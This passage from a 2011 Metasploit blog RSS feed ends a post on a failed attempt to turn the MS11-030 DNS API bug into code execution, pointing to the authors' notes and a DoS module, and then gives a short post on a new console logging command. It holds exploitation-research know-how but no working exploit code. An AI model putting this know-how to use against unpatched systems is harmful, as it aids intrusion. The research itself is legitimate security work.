&amp;#8216;.&amp;rsquo; character to a byte offset in the saved register area and continuing execution. Out of all 16 bytes, only one led to a different crash. This was the saved esi value, which was subequently used in the bzero operation.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Similar to the &amp;ldquo;v_out_ptr&amp;#8221; value, this value was a stack pointer that points to a the output area of &amp;ldquo;Dns_StringToDnsAddrEx&amp;#8221;. If it happened to contain a &amp;#8216;.&amp;rsquo; character, it would get modified to point to an address higher on the stack. This really isn&amp;rsquo;t much help since we&amp;rsquo;re already higher than any data that could affect code flow (return addreses, etc). This path seemed like a dead end. Having fulfilled my promise to try this experiment, I readied myself to admit defeat.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Prior to &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="https://twitter.com/#!/jduck/status/82886176800907264"&gt;formally giving up on the bounty&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;, Jon suggested I email Neel one last time to ask if he managed to obtain code execution from this vulnerability. Neel replied stating he hadn&amp;rsquo;t. He decided to stop work on the bug once Microsoft agreed that the issue should be rated Critical. He reiterated that he believes it&amp;rsquo;s possible to exploit this bug, but agreed that it was definitely more challenging than most bugs.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Although I want to believe that the bug is exploitable, I simply can&amp;rsquo;t see a way. Jon and I have folded. I would love to say this bug is unequivocally not exploitable, but as we have &lt;a class="jive-link-external-small" href="http://downloads.securityfocus.com/vulnerabilities/exploits/apache-nosejob.c"&gt;seen in the past&lt;/a&gt; this probably isn&amp;rsquo;t wise. Regardless, it seems to me, and I believe the facts show, that this bug is challenging enough that it&amp;rsquo;s not possible to write a reliable exploit leveraging it in one week.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Despite my opinion, there are still some avenues left unexplored for those that are inclined to push forward on this bug. If you wish to continue where we left off or just play with bug, &lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;a class="jive-link-external-small" href="http://qoop.org/security/research/cve-2011-0657/notes_release.txt"&gt;&lt;span style="font-size: 11pt; font-family: Arial; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;our technical notes&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; are available and a &lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb"&gt;DoS Metasploit module&lt;/a&gt; has been added to the tree. If you do push the analysis envelope forward on this bug, we hope you will contribute your findings back to the community. Good luck and happy exploiting to you all!&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:e1dc0fa1-c6bd-4d9c-81a1-332ca87810bb] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/X5wRafkDG58" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">development</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">rapid7</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">exploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">competitions</category>
      <pubDate>Mon, 27 Jun 2011 15:13:17 GMT</pubDate>
      <author>jdrake@metasploit.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/06/27/ms11-030-exploitable-or-not</guid>
      <dc:date>2011-06-27T15:13:17Z</dc:date>
      <clearspace:dateToText>2 months, 1 week ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/ms11-030-exploitable-or-not</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5384</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/06/27/ms11-030-exploitable-or-not</feedburner:origLink></item>
    <item>
      <title>Metasploit Framework Console Output Spooling</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/TfMcRhajJSU/metasploit-framework-console-output-spooling</link>
      <description>&lt;!-- [DocumentBodyStart:1fe07e14-e5d6-433b-8463-45642def2f38] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;Sometimes little things can make a huge difference in usability -- the Metasploit Framework Console is a great interface for getting things done quickly, but so far, has been missing the capability to save command and module output to a file. We have a lot of small hacks that makes this possible for certain commands, such as the "-o" parameter to db_hosts and friends, but this didn't solve the issue of module output or general console logs. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;As of revision &lt;a class="jive-link-external-small" href="http://dev.metasploit.com/redmine/projects/framework/repository/revisions/13028"&gt;r13028&lt;/a&gt; the console now supports the &lt;strong&gt;spool&lt;/strong&gt; command (similar to database consoles everywhere). This command accepts one parameter, the name of an output file. Once set, this will cause all console output to be shown on the screen and written to the file. Calling the &lt;strong&gt;spool&lt;/strong&gt; command with the parameter "&lt;strong&gt;off&lt;/strong&gt;" will disable the spool. Even better, this command opens the destination file in append-only mode, so you can add the following line to your ~/.msf3/msfconsole.rc to automatically log all of your output for the rest of time:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="padding-left: 30px;"&gt;&lt;span style="font-family: courier new,courier;"&gt;spool /home/&amp;lt;username&amp;gt;/.msf3/logs/console.log&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Thanks to &lt;strong&gt;oorang3&lt;/strong&gt; on freenode for the suggestion. To access the new command, use the &lt;strong&gt;msfupdate &lt;/strong&gt;command on Linux (or just "svn update") or the &lt;strong&gt;Metasploit Update&lt;/strong&gt; link on Windows.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;If you are running a version of the Metaspoit Framework that used one of the binary installers prior to 3.7.2, we strongly recommend &lt;a class="jive-link-external-small" href="http://www.metasploit.com/download/"&gt;upgrading &lt;/a&gt;to take advantage of the improved auto-update capabilities and dependency fixes in that release.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;-HD&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:1fe07e14-e5d6-433b-8463-45642def2f38] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/TfMcRhajJSU" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">community</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">console</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">usability</category>
      <pubDate>Sat, 25 Jun 2011 19:11:09 GMT</pubDate>
      <author>hdm@rapid7.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/06/25/metasploit-framework-console-output-spooling</guid>
      <dc:date>2011-06-25T19:11:09Z</dc:date>
      <clearspace:dateToText>2 months, 1 week ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/metasploit-framework-console-output-spooling</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5383</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/06/25/metasploit-framework-console-output-spooling</feedburner:origLink></item>
  </channel>
</rss>

